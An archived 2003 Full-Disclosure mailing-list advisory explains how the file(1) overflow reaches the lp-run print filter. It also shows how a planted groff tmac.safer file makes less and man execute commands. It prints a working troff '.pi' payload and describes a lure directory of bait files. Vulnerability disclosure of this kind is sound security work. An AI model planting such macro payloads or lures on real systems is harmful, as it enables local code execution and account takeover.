re: SSH/OPENSSH EXPLOIT + iDEFENSE Security Advisory 03.04.03: Locally Exploitable Buffer Overflow in file(1)

[zen-parse <zen-parse () gmx net>]

http://lists.netsys.com/pipermail/full-disclosure/2003-March/004423.html

file(1) overflow is exploitable in other ways.

In /usr/lib/rhs/rhs-printfilters/master-filter 
(rhs-printfilters-1.81-4.rh7.0, used by lprng at least)

magic=$(file ${SPOOLFILE})
                             magic=$($DECOMPRESS ${SPOOLFILE} | file -)
                             magic=$($DECOMPRESS ${SPOOLFILE} | file -)


This file is used as a filter called by LPRNG with uid:gid lp.lp.

Printing the exploit file would result in privilege escalation without 
needing to social engineer anyone, or wait for a random occurance.




Speaking of social engineering:


I wonder what sort of file would be in /usr/tmp/ftplists/ on a public 
access *nix box?

$ cd /usr/tmp/ftplists/
$ ls -l
... screens and screens of things like this
-rw-r--r--    1 evil     evil        51432 Mar  5 16:18 ftplist.1
... and more files.2 .3 .4 .5 .6 ... .9 with different names

Maybe they have IPs, logins, and passwords for ftp sites!

Might be a good idea to check them out so you can... um... oh yeah... 
inform the admin that their sites might have been compromized and used for 
trading files illegally... Of course, you'd have to check the contents 
before you do anything else.

$ less ftplist.1
.... and suddenly you get logged out, and can't log in again.
     when you manage to, all your files are gone, and you're 
     under investigation for all sorts of terrible crimes commited
     from YOUR account.  

Why does it look like you've just been owned?



Advisory: groff preprocessor path vuln. 
               OR
          less does more.

Tested on groff-1.16-7.1.1 on rh 7.0.


You might've missed one line somewhere in the middle of the output like 
this:
-rw-r--r--    1 evil     evil           50 Mar  5 16:16 tmac.safer

1) Less != safe

$ echo $LESSOPEN 
|/usr/bin/lesspipe.sh %s
$ grep 'file -' /usr/bin/lesspipe.sh
    if gunzip -c "$1" |file - |grep troff &>/dev/null; then
    if bunzip2 -c "$1" |file - |grep troff &>/dev/null; then
  *.1|*.2|*.3|*.4|*.5|*.6|*.7|*.8|*.9|*.n|*.man) FILE=`file -L "$1"` ; # groff src

As you can see, file gets called.

Another interesting thing:

...
    if [ "$FILE" = "troff" ]; then
      groff -s -p -t -e -Tascii -mandoc "$1"
    fi ;;
...

Seems safe... is it? Nope.

$ cat ./tmac.safer 
.nr _C \n(.C
.cp 0
.pi X (id;uname -a;date)>/var/tmp/owned-by-less X
.cp \n(_C



man is worse: it chdir()s one directory back before running the 
preprocessor commands... check .. before running man ./file.1


Dangerous files:
dev*/DESC  {ascii,latin1 for less and man}
This file can contain commands to modify the file before viewing/printing.

tmac.*  - troff macro files. 

tmac.tty, tmac.safer <- these get executed while some 'dangerous' commands 
are still enabled (tmac.safer is supposed to remove them).




-- 
-------------------------------------------------------------------------
1) If this message was posted to a public forum by zen-parse () gmx net, it 
may be redistributed without modification. 
2) In any other case the contents of this message is confidential and not 
to be distributed in any form without express permission from the author.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html